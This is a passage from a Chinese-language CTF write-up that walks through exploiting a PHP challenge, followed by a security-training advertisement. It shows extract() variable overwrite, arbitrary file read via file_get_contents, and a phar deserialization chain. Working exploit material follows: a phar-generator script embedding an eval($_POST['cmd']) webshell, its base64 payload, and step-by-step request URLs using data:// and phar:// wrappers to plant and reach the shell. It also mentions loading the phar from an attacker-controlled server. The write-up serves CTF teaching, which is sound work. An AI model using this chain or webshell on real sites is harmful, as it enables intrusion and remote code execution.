$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
这样就会把数组$my_array里面的键值和对应键名组合成为一个变量,等同于再次赋值
以前ctf考察的点基本都是如下形式的变量覆盖:
extract($_GET);
关于这个地方变量覆盖的原理,就要提到一个很关键的基础知识点,$GET,$POST,$REQUEST这三个全局变量的类型是数组(不信的话自己var_dump一下),实际上我们通过get输入的变量名会成为$GET数组里的键名,输入的变量值会成为$GET里的键值,因此extract函数才会由我们的get输入接收到了$GET这个数组,从而产生了变量覆盖。
本题目的写法为:
extract($_GET['var'], EXTR_OVERWRITE);
EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
这个地方乍一看好像是说$_GET['var']这个变量,而不是数组,但是之前也有考察过如果通过get或者post方式输入一个数组的ctf题(没错,就是绕过md5比较的php黑魔法),只要我们在get或者post输入的变量的后面加上[],就代表我们输入的是一个数组。
例如下面就代表我们输入了一个数组
http://IP?var[]=a
把$_GET变量全dump出来为:
array(1) { ["var"]=> array(1) { [0]=> string(1) "a" } }
说白了,就是把$_GET这个数组变量里键名为var的这个元组的键值设置为了一个数组,这个数组是:
array(1) { [0]=> string(1) "a" }
所以实际上我们还是可以通过题目中的
extract($_GET['var'], EXTR_OVERWRITE);
来进行变量覆盖。例如:
http://IP/?var[template][tp1]=aaa
这样就能将已经赋值过的template变量重新赋值为一个只含有一个元组且键名为tp1的数组
之前
array(3) {
["tp1"]=>
string(7) "tp1.tpl"
["tp2"]=>
string(7) "tp2.tpl"
["tp3"]=>
string(7) "tp3.tpl"
}
之后
array(1) {
["tp1"]=>
string(3) "aaa"
}
这里很多人有个误区:为啥不是单独覆盖template数组里的一个tp1,而是覆盖了全部呢?
因为?var[template][tp1]=aaa
等同于输入了
$template=array('tp1'=>'aaa');
而不是
$template = array('tp1'=>'aaa','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
所以是全部覆盖
我们看到第一个文件index.php里面还有一个file_get_contents,想到可以文件读取。
if(isset($_GET['tp'])) {
$tp = $_GET['tp'];
if (array_key_exists($tp, $template) === FALSE) {
echo "No! You only have 3 template to reader";
die();
}
$content = file_get_contents($template[$tp]);
$temp = new Temp($content);
} else {
echo "Please choice one template to reader";
}
思路:
$template[$tp]为我们要读取的文件名
$_GET["tp"] ——> $tp可控
array_key_exists判断$tp在$template数组中是否存在
存在则读取$template[$tp]指向的文件
所以我们
?var#=文件名&tp=a
这样template数组就剩一个a,然后他的值为我们要读取的文件名,然后tp等于a,读取$template[$tp]所指向的文件,也就是$template['a'],即我们变量覆盖进去的文件名。
访问得到
u can see ur html file in f187b1e39a106780507c0f5c399da8c1/594f803b380a41396ed63dca39503542.html
访问一下路径看到template.php源码,这里file_get_content读取到的并不是直接显示,而是被template.php写入到了某个地方,但是这个算是第一步的提示,直接访问就看到了template.php的源码,读完以后也会更理解整个过程。
<?php
error_reporting(0);
class Temp {
public $suffix;
public $content;
public $pattern;
public function __construct($content) {
$this->content = $content;
$this->pattern = "/{{([a-z]+)}}/";
$this->suffix = ".html";
}
public function __destruct() {
$this->render();
}
public function render() {
while (True) {
if(preg_match($this->pattern, $this->content, $matches)!==1)
break;
global ${$matches[1]};
if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else {
break;
}
}
if(strlen($this->suffix)>5) {
echo "error suffix";
die();
}
$filename = '/var/www/html/upload/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
file_put_contents($filename, $this->content);
echo "u can see ur html file in " . $filename;
}
}
?>
最关键的方法是我们的render(因为另外两个一个是构造方法用来给三个属性赋值,一个是析构方法用来触发render)
他做了两件事情
模板变量替换
while (True) {
if(preg_match($this->pattern, $this->content, $matches)!==1)
break;
global ${$matches[1]};
if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else {
break;
}
}
这一步的工作用一句话概括为:"用$content里匹配到的字符串的同名变量,来替换$content本身的内容"
可能乍一看看不懂,没事我们来分析:
也就是说,当你输入的内容里面含有{{([a-z]+)}}的时候,他会提取{{}}里面的字符串,然后去判断他是否为一个已经声明的全局变量,如果是的话则导入到方法中,并且用这个全局变量的值去替换$content的值。
例如搭建一个本地环境
当你输入http://ip?content={{a}},则返回如下结果
匹配输入,含有{{([a-z]+)}},其中$matches为
Array ( [0] => {{a}} [1] => a )
global用于将函数外部的一个全局变量导入函数内,题目中这句代码在render方法内,所以为了使用方法外的全局变量,得加一个global
global ${$matches[1]};
#探测外部是否有需要名字为$matches[1]的变量,
然后preg_replace将content里的$matches[1]给替换为那个变量的值
实际上这是个啥呢,就是我们很常见的模板变量替换,比如说你的前端有一个{{a}},然后你后端检测前端代码的时候,就拿后端的a变量的值替换这个{{a}}里面a所在的位置。类似flask那种模板变量替换。
说白了就是,这段代码或者这道题应该是某个真实的cms上的代码阉割的,然后出成题目,并保留了当时的部分冗余代码。所以才留下了这个模板替换。(就是没啥用的意思,逃:)
写入文件
render做的第二件事情就是写入文件
首先给出了一个限制:
if(strlen($this->suffix)>5) {
echo "error suffix";
die();
}
这段代码保证了你写入的后缀不能超过5个字符,虽然没什么用。
真正写文件的的代码在这里:
$filename = '/var/www/html/upload/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
file_put_contents($filename, $this->content);
echo "u can see ur html file in " . $filename;
这里思路
自 PHP 5.2.0 起 data:(» RFC 2397)数据流封装器开始有效。data://text/plain;base64,加上文件内容的base64编码
变量覆盖,然后file_get_content读取我们输入的data流,然后被写入
file_get_contents触发phar
phar文件:
<?php
class Temp {
public $suffix;
public $content;
public $pattern;
}
@unlink("phar.phar");
#固定老四句,除非你要修改phar文件头部,或者想压缩一个webshell,压缩的攻击通常用于lfi+phar
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar->addFromString('test.txt','test'); //添加要压缩的文件
#实例化和修改属性的主要代码
$object = new Temp();
$object->suffix=".php";
$object->content="<?=eval(\$_POST['cmd']); ";
$object->pattern="{{([a-z]+)}}";
#固定老两句
$phar->setMetadata($object); //将自定义meta-data存入manifest
$phar->stopBuffering();
读取文件内容的base64可以用如下方式:
先php运行exp.php,生成phar.phar文件。
php -a 进入php交互式界面。
php > echo file_get_contents("php://filter/convert.base64-encode/resource=phar.phar");
R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqtAAAAAQAAABEAAAABAAAAAAB3AAAATzo0OiJUZW1wIjozOntzOjY6InN1ZmZpeCI7czo0OiIucGhwIjtzOjc6ImNvbnRlbnQiO3M6MjQ6Ijw/PWV2YWwoJF9QT1NUWydjbWQnXSk7ICI7czo3OiJwYXR0ZXJuIjtzOjEyOiJ7eyhbYS16XSspfX0iO30IAAAAdGVzdC50eHQEAAAAyokbYAQAAAAMfn/YpAEAAAAAAAB0ZXN0tLvtt2MIggia
然后url编码,因为=和+号在url里面不能直接用,会被当作有意义的字符
第一步
http://IP/?var[template][tp1]=data://text/plain;base64,R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8%2BDQqtAAAAAQAAABEAAAABAAAAAAB3AAAATzo0OiJUZW1wIjozOntzOjY6InN1ZmZpeCI7czo0OiIucGhwIjtzOjc6ImNvbnRlbnQiO3M6MjQ6Ijw%2FPWV2YWwoJF9QT1NUWydjbWQnXSk7ICI7czo3OiJwYXR0ZXJuIjtzOjEyOiJ7eyhbYS16XSspfX0iO30IAAAA
回显
u can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/e6c3231faf7291112e65294fcf13d7fc.html
第二步 通过file_get_contents触发phar
http://IP/?var[template][tp1]=phar://upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/e6c3231faf7291112e65294fcf13d7fc.html&tp=tp1
回显
u can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/d41d8cd98f00b204e9800998ecf8427e.htmlu can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/a3670f7aa58980d1970ac97e35a13ff1.php
第三步
http://IP/upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/a3670f7aa58980d1970ac97e35a13ff1.php
就是写入的webshell
这题还可以用远程文件读取,把phar文件放在自己公网服务器上,然后让题目读取,就不用data://协议写入,因为file_get_contents没有限制不能读取外部文件
http://IP/?var[template][tp1]=http://IP/phar.phar&tp=tp1
但是xnuca他个人赛的时候没有网络,所以这个方法行不通,但是DASCTF可以用这个方法。
总的来说,难度适中,主要一个是知道他这里可以任意文件读取和读取以后直接写入这个是关键,phar倒是没有什么难度,如何在没有外网的情况下通过data://流写入是关键。
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

